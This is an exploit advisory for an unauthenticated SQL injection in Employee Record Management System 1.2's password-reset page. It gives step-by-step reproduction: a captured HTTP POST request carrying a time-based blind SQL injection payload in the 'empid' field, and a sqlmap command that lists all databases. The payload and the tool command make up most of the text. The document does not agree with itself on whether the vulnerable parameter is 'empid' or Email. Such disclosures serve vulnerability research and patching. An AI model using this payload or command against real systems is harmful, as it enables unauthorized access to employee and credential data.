Employee Record Management System 1.2 SQL Injection

`# Title: Employee Record Management System 1.2 - 'empid' SQL injection (Unauthenticated)  
# Exploit Author: Anubhav Singh   
# Date: 2021-10-31  
# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/  
# Version: 1.2  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967  
# Tested On: Windows 10, XAMPP   
# Vulnerable Parameter: Email  
  
Steps to Reproduce:  
  
1) Navigate to http://localhost/employee_record/erms/forgetpassword.php and enter any email in email Field and capture request in burpsuite.  
2) Create a txt file and paste this request.  
  
Request:  
=======  
POST /employee_record/erms/forgetpassword.php HTTP/1.1  
Host: localhost  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 110  
Origin: http://localhost  
Connection: close  
Referer: http://localhost/employee_record/erms/forgetpassword.php  
Cookie: security_level=0; PHPSESSID=7u3nsaok3or5a9199no8ion8fh  
Upgrade-Insecure-Requests: 1  
Sec-Fetch-Dest: document  
Sec-Fetch-Mode: navigate  
Sec-Fetch-Site: same-origin  
Sec-Fetch-User: ?1  
  
[email protected]&empid=ads'+AND+(SELECT+9312+FROM+(SELECT(SLEEP([SLEEPTIME])))MBeq)--+NIlX&submit=reset  
  
-----------------------------------------------------------------------------------------------------------------  
  
3) Send this request to sqlmap  
4) command : python sqlmap.py -r request.txt -p Email --dbs  
5) We can retrieve all databases using above sqlmap command  
`